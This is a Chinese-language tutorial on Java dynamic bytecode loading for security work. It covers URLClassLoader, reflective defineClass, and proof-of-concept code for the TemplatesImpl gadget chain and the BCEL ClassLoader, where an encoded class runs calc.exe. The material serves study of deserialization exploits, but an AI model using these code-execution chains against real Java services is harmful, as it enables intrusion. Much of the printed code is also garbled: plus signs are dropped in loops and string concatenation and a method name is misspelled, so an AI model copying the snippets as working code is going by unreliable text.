彻底让你搞懂什么是java字节码？8K字详解Java安全之动态加载字节码

Java字节码

简单说，java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令。

由于Java是一门跨平台的编译型语言，所以可以适用于不同平台，不同CPU的计算机，开发者只需要将自己的代码编译一次，就可以运行在不同平台的JVM中。

甚至，开发者可以用类似Scala、Kotlin这样的语言编写代码，只要你的编译器能够将代码编译成.class文

件，都可以在JVM虚拟机中运行：

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ClassLoader是一个加载器，就是用来告诉JVM虚拟机如何去加载这个类，默认的就是根据类名来加载类，这个类名需要是完整路径，比如说java.lang.Runtime

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类，所以，我们解释

URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程

正常情况下，Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径（这

些路径是经过处理后的 java.net.URL 类）来寻找.class文件来加载，而这个基础路径有分为三种情况：

• URL未以斜杠 / 结尾，则认为是一个JAR文件，使用 JarLoader 来寻找类，即为在Jar包中寻找.class文件
• URL以斜杠 / 结尾，且协议名是 file ，则使用 FileLoader 来寻找类，即为在本地文件系统中寻找.class文件
• URL以斜杠 / 结尾，且协议名不是 file ，则使用最基础的 Loader 来寻找类

使用Http协议测试，看Java是否能从远程HTTP服务器上加载.class文件：

import java.net.URL;import java.net.URLClassLoader;public class HelloClassLoader { public static void main( String[] args ) throws Exception { URL[] urls = {new URL("http://localhost:7777/")}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("Hello"); c.newInstance(); }}

先编译一个.class文件放在服务器上

public class Hello { static{ System.out.println("Hello,gk0d"); }}

这里用python起一个微型服务器

python -m http.server 7777 --bind 127.0.0.1

注意：我这里是换了端口，且绑定了127.0.0.1，

我使用第二种是报错的，问了很多人，原因如下：第二种默认启动的服务器是IPV6地址，Java是解析不了的。这种情况在JNDI注入中也有出现。如果有懂的大佬，欢迎留言。

其实，不管是加载远程class文件，还是本地的class或jar文件，Java都经历的是下面这三个方法调用

ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClass

• loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类（这里实际上是双亲委派机制），在前面没有找到的情况下，执行 findClass
• findClass 的作用是根据基础URL指定的方式来加载类的字节码，就像上面说到的，可能会在

  本地文件系统、jar包或远程http服务器上读取字节码，然后交给 defineClass

• defineClass 的作用是处理前面传入的字节码，将其处理成真正的Java类

所以真正核心的部分其实是 defineClass ，他决定了如何将一段字节流转变成一个Java类，Java

默认的 ClassLoader#defineClass 是一个native方法，逻辑在JVM的C语言代码中

native方法称为本地方法。在java源程序中以关键字“native”声明，不提供函数体。

其实现使用C/C 语言在另外的文件中编写，编写的规则遵循Java本地接口的规范(简称JNI)。

简而言就是Java中声明的可调用的使用C/C 实现的方法。

例子：

package org.gk0d;import java.lang.reflect.Method;import java.util.Base64;public class HelloDefineClass { public static void main(String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.getdecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA" "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs" "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh" "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA" "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM"); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length); hello.newInstance(); }}//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

里面是Hello.class的base64编码

注意：在 defineClass 被调用的时候，类对象是不会被初始化的，只有这个对象显式地调用其构造

函数，初始化代码才能被执行。而且，即使我们将初始化代码放在类的static块中，在 defineClass 时也无法被直接调用到。所以，如果我们要使用 defineClass 在目标机器上执行任意代码，需要想办法调用构造函数。

因为系统的 ClassLoader#defineClass 是一个保护属性，所以我们无法直接在外部访问，不得

不使用反射的形式来调用。

在实际场景中，因为defineClass方法作用域是不开放的，所以攻击者很少能直接利用到它，但它却是我

们常用的一个攻击链 TemplatesImpl 的基石。

前面分析了defineClass方法并不好直接利用，但是Java底层还是有一些类用到了它，这就是 TemplatesImpl,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类

TransletClassLoader :

static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }}

这个类里重写了 defineClass 方法，并且这里没有显式地声明其定义域。Java中默认情况下，如果一个

方法没有显式声明作用域，其作用域为default。所以也就是说这里的defineClass 由其父类的

protected类型变成了一个default类型的方法，可以被类外部调用。

从 TransletClassLoader#defineClass() 向前追溯一下调用链：

TransletClassLoader#defineClass() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getOutputProperties()

先看TemplatesImpl#defineTransletClasses()方法：

private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i ) { _class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }

但它是一个private方法，还是不能直接调用，继续往上看到getTransletInstance()，

private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法 // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString(), e); } }

还是private方法，继续找到newTransformer()方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);//调用了getTransletInstance方法 if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }

是public方法了，可以直接调用，所以一条调用链就出来了

首先得设置TemplatesImpl对象的三个私有属性，这里我们用反射设置就行，三个属性：_bytecodes、 _name 和 _tfactory

• _name：为任意字符串，只要不是null才可以进入defineTransletClasses()
• _bytecodes：由字节码组成的数组，用来存放恶意代码，其值不能为null
• _tfactory 需要是一个 TransformerFactoryImpl 对象，因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ，如果是null会出错

另外TemplatesImpl 中对加载的字节码是有一定要求的：这个字节码对应的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

所以，我们需要构造一个特殊的类：

package org.gk0d;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class HelloTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public HelloTemplatesImpl() { super(); System.out.println("Hello TemplatesImpl"); }}

解释以下为什么多了两个transform方法

这里是因为子类需要实现父类里面的抽象方法，同时因为父类是抽象类，可能没有将接口的方法全部实现，这时子类如果不是抽象的，那必须将其他接口方法都实现。这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)是父类里面的抽象方法所以要重写transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写

同样将其编译为class文件，然后base64编码

最后就是写poc了,就新建一个TemplatesImpl对象，把属性设置进去然后执行newTransformer方法触发，主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue：

package org.gk0d;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class a { public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, Value); } public static void main(String[] args) throws Exception {// source: bytecodes/HelloTemplateImpl.java byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" "DwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); }}

关于BCEL先看看p神的：https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

被Apache Xalan所使用，而Apache Xalan又是Java内部对于JAXP的实现，所以BCEL也被包含在了JDK的

原生库中。

BCEL属于Apache Commons项目下的一个子项目，全名应Apache Commons BCE，它提供了一系列用于分析、修改和创建Java Class文件的API，从库功能来看，使用性远不及其他库，但被Apache Xalan所使用，而Apache Xalan又是Java内部对于JAXP的实现，所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel。

BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader类，它是一个ClassLoader，但重写了Java内置的ClassLoader#LoadClass方法

在LoadClass中，会判断类名是否是$$BCEL$$开头，如果是的话，将会对这个字符串进行decode

来看一下decode的具体算法:

private static class JavaWriter extends FilterWriter { public JavaWriter(Writer out) { super(out); } public void write(int b) throws IOException { if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) { out.write(b); } else { out.write(ESCAPE_CHAR); // Escape character // Special escape if(b >= 0 && b < FREE_CHARS) { out.write(CHAR_MAP[b]); } else { // Normal escape char[] tmp = Integer.toHexString(b).toCharArray(); if(tmp.length == 1) { out.write('0'); out.write(tmp[0]); } else { out.write(tmp[0]); out.write(tmp[1]); } } } } public void write(char[] cbuf, int off, int len) throws IOException { for(int i=0; i < len; i ) write(cbuf[off i]); } public void write(String str, int off, int len) throws IOException { write(str.toCharArray(), off, len); } }

可以理解为是传统字节码的16进制编码，然后将 \ 替换为 $ ，默认还会在最外层加上 GZip 压缩

边写恶意类

package org.gk0d;import java.io.IOException;public class calc{ static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } }}

然后通过BCEL提供的两个类Repository和utility来利用:

Repository用于将一个Java Class先转换成原生字节码（也可以直接javac编译获得）；utility用于将原生字节码转换成BCEL格式的字节码

package org.gk0d;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;public class POP { public static void main(String[] args) throws Exception{ JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(),true); System.out.println(code); }}

最后用BCEL ClassLoader加载这串特殊的字节码，并执行里面的代码：

package org.gk0d;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;public class Test { public static void main(String[] args) throws Exception{ c(); } private static void b() throws Exception{ JavaClass javaClass = Repository.lookupClass(a.class); String code = Utility.encode(javaClass.getBytes(),true); System.out.println(code); } private static void c() throws Exception { new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance(); }}

代码进行简化后如下

package org.gk0d;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;public class Test { public static void main(String[] args) throws Exception { JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" code).newInstance(); }}

BCEL ClassLoader类和前面的

TemplatesImpl 都出自于同一个第三方库，Apache Xalan，在Fastjson等漏洞的利用链构造时都有被用到

还有一个重要的利用条件就是在Java 8u251的更新中，这个ClassLoader被移除了，所以之后只能在这个之前的版本才可以利用。